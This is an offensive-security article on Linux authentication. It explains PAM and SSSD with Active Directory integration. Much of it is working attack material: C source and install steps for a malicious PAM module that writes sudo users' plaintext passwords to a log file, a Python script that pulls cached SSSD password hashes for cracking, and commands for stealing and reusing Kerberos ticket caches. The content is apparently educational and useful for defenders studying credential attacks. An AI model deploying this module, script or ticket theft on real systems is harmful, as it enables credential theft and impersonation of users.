Linux Authentication

In this article, we’re looking at the basics of Linux authentication. Two key authentication components are Pluggable Authentication Modules (PAM) and System Security Services Daemon (SSSD).

PAM provides a framework that separates the authentication process from the application logic, letting different services delegate login and credential verification to reusable modules.

SSSD bridges Linux systems with external identity providers, enabling centralised management, offline authentication, and caching of user credentials.


Pluggable Authentication Modules

PAM modules are Linux shared libraries that perform authentication using whatever backend they are designed for. Some modules, such as pam_unix.so, use local password hashes stored in /etc/shadow, while others authenticate against network services or alternative credential stores.

Capturing Login Credentials

We can create a small PAM module to capture credentials used on a system.

The below instructions should work for Ubuntu 24.04 LTS. Other distributions may use different file system paths.

Start by installing the PAM development library, and common build tools.

sudo apt install libpam0g-dev build-essential

The following C code implements a PAM module that logs a usernames and passwords to a file (/tmp/pam_users.log)

#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <stdio.h>

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *user = NULL;
    const char *password = NULL;
    int ret = pam_get_user(pamh, &user, "Username: ");
    if (ret != PAM_SUCCESS || !user) return PAM_AUTH_ERR;

    ret = pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
    if (ret != PAM_SUCCESS || password == NULL)
        return PAM_AUTH_ERR;

    FILE *f = fopen("/tmp/pam_users.log", "a");
    if (f) {
        fprintf(f, "Account attempted to login: %s:%s\n", user,password);
        fclose(f);
    }

    return PAM_SUCCESS; 
}

PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

Compile with:

gcc -fPIC -shared -o pam_logger.so pam_logger.c -lpam

Copy it to the PAM module location and ensure it’s executable.

sudo cp pam_logger.so /usr/lib/x86_64-linux-gnu/security/pam_logger.so
sudo chmod 644 /usr/lib/x86_64-linux-gnu/security/pam_logger.so

Edit a PAM configuration file (such as sudo), and reference our module. Using the optional keyword will mean the modules success or failure states will be ignored.

cat /etc/pam.d/sudo
#%PAM-1.0

auth       optional   pam_logger.so

# Set up user limits from /etc/security/limits.conf.
session    required   pam_limits.so

session    required   pam_env.so readenv=1 user_readenv=0
session    required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0

@include common-auth
@include common-account
@include common-session-noninteractive

Every time a user attempts to authenticate using sudo, will result in their credentials being logged to /tmp/pam_users.log

root@ubuntu:/home/user# cat /tmp/pam_users.log
User tried to login: user:Password1
User tried to login: user:Password1
User tried to login: user:Password1


Configuring SSSD

SSSD (System Security Services Daemon) is a Linux service that acts as a central identity and authentication bridge between your Linux and external identity providers like Active Directory.

Let’s start by setting up Active Directory integration. Install the necessary packages.

sudo apt install realmd sssd sssd-tools adcli krb5-user packagekit

Check the realm can be seen.

bordergate@ubuntu:~$ realm discover bordergate.local
bordergate.local
  type: kerberos
  realm-name: bordergate.local
  domain-name: bordergate.local
  configured: kerberos-member
  server-software: active-directory
  client-software: sssd
  required-package: sssd-tools
  required-package: sssd
  required-package: libnss-sss
  required-package: libpam-sss
  required-package: adcli
  required-package: samba-common-bin
  login-formats: %U
  login-policy: allow-realm-logins

Join the Kerberos authentication realm.

bordergate@ubuntu:~$ sudo realm join bordergate.local
Password for Administrator: 

Next, create the file /etc/sssd/sssd.conf to setup Active Directory integration.

[sssd]
services = nss, pam
config_file_version = 2
domains = bordergate.local

[domain/bordergate.local]
default_shell = /bin/bash
krb5_store_password_if_offline = True
cache_credentials = True
krb5_realm = BORDERGATE.LOCAL
realmd_tags = manages-system joined-with-adcli 
id_provider = ad
fallback_homedir = /home/%u@%d
ad_domain = bordergate.local
use_fully_qualified_names = False
ldap_id_mapping = True
access_provider = ad

Set the correct file permissions and start the sssd service.

chmod 600 /etc/sssd/sssd.conf
systemctl start sssd

At this point, you should be able to query Active Directory users using the id command, and users in Active Directory will be able to login to the Linux host.

id alice
uid=1551601104(alice) gid=1551600513(domain users) groups=1551600513(domain users)


Extracting SSSD Credentials

SSSD may cache credentials in /var/lib/sss/db.

root@ubuntu:~# ls -la /var/lib/sss/db
total 5356
drwx------  2 root root    4096 Jun  6 09:23 .
drwxr-xr-x 10 root root    4096 Jun  6 08:34 ..
-rw-------  1 root root 1609728 Jun  6 09:02 cache_bordergate.local.ldb
-rw-------  1 root root    2745 Jun  6 09:23 ccache_BORDERGATE.LOCAL
-rw-------  1 root root 1286144 Jun  6 09:02 config.ldb
-rw-------  1 root root 1286144 Jun  6 08:40 sssd.ldb
-rw-------  1 root root 1286144 Jun  6 09:02 timestamps_bordergate.local.ldb

We can extract the stored passwords using the trivial database password utility. Install with:

sudo apt install tdb-tools

The following Python wrapper script can be used to extract password hashes in a suitable format.

#!/usr/bin/env python3

import subprocess
import sys
from pathlib import Path
import re

location = Path(sys.argv[1]) if len(sys.argv) > 1 else Path("/var/lib/sss/db")

hash_file = Path("hashes.txt")
hash_file.write_text("")

try:
    subprocess.run(["tdbdump", "--version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    analyze = True
except FileNotFoundError:
    print("Warning: 'tdbdump' is not installed.")
    analyze = False

ldb_files = list(location.glob("*.ldb"))
if not ldb_files:
    print(f"No .ldb files found in {location}")
    sys.exit(1)

# Regex to match SHA512-crypt hash: $6$salt$hash
hash_regex = re.compile(r'(\$6\$[^$]+\$[A-Za-z0-9./]+)')

for db_path in ldb_files:
    print(f"\nProcessing: {db_path}")

    if not analyze:
        continue

    try:
        output = subprocess.check_output(["tdbdump", str(db_path)], text=True)
    except subprocess.CalledProcessError:
        print(f"Failed to read {db_path}")
        continue

    accounts = set()
    for line in output.splitlines():
        if "cachedPassword" in line:
            parts = line.split("=")
            if len(parts) >= 3:
                account = parts[2].split(",")[0].strip()
                accounts.add(account)

    if not accounts:
        print("No cached passwords found in this database.")
        continue

    print(f"### Found {len(accounts)} cached password(s) ###")

    for account in sorted(accounts):
        hash_value = ""
        for line in output.splitlines():
            if "cachedPassword" in line and account in line:
                match = hash_regex.search(line)
                if match:
                    hash_value = match.group(1)
                    break

        print(f"\nAccount: {account}")
        print(f"Hash:    {hash_value}")

        with hash_file.open("a") as f:
            f.write(f"{account}:{hash_value}\n")

    print(f"Hashes from {db_path} added to {hash_file}")

print(f"\nAnalysis complete. All hashes saved in {hash_file}")
python3  extract_credentials.py 

Processing: /var/lib/sss/db/timestamps_bordergate.local.ldb
No cached passwords found in this database.

Processing: /var/lib/sss/db/cache_bordergate.local.ldb
### Found 1 cached password(s) ###

Account: alice@bordergate.local
Hash:    $6$VEWMTIANzMYroklR$Rl21DeujxwB80USWBEXZIcCfjsNn9LvZuovPG2e6gkf./o2ZJBL122MeJqd5bv1mb4rx5LSeHJpdWV.uYOwpv.
Hashes from /var/lib/sss/db/cache_bordergate.local.ldb added to hashes.txt

Processing: /var/lib/sss/db/sssd.ldb
No cached passwords found in this database.

Processing: /var/lib/sss/db/config.ldb
No cached passwords found in this database.

Analysis complete. All hashes saved in hashes.txt

The contents of hashes.txt can then be cracked using john the ripper.


Kerberos Ticket Theft

On Linux, Kerberos tickets are stored in the /tmp directory. Provided you have permissions to access the file, you can copy it to another system to impersonate the users identity.

root@ubuntu:~# klist -c /tmp/krb5cc_1551601104_SABoB4 
Ticket cache: FILE:/tmp/krb5cc_1551601104_SABoB4
Default principal: alice@BORDERGATE.LOCAL

Valid starting     Expires            Service principal
06/06/26 17:02:35  06/07/26 03:02:35  krbtgt/BORDERGATE.LOCAL@BORDERGATE.LOCAL
	renew until 06/07/26 17:02:35

Once you have a copy of the ticket, set the KRB5CCNAME environment variable to reference it. Tickets normally expire after 10 hours.

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/tmp/krb5cc_1551601104_SABoB4
┌──(kali㉿kali)-[~]
└─$ klist
Ticket cache: FILE:/tmp/krb5cc_1551601104_SABoB4
Default principal: alice@BORDERGATE.LOCAL

Valid starting       Expires              Service principal
06/06/2026 18:02:35  06/07/2026 04:02:35  krbtgt/BORDERGATE.LOCAL@BORDERGATE.LOCAL
	renew until 06/07/2026 18:02:35

In Conclusion

Linux authentication systems such as PAM and SSSD provide flexible ways to integrate local and domain-based identity management, particularly with services like Active Directory. However, this flexibility also introduces significant security considerations.

By design, PAM allows authentication logic to be extended through shared modules, meaning that any compromised or malicious module can intercept credentials at the point of entry. Similarly, SSSD improves usability through credential caching and offline authentication, but this also creates local artefacts such as cached credentials and Kerberos tickets that may be abused if an attacker gains local access.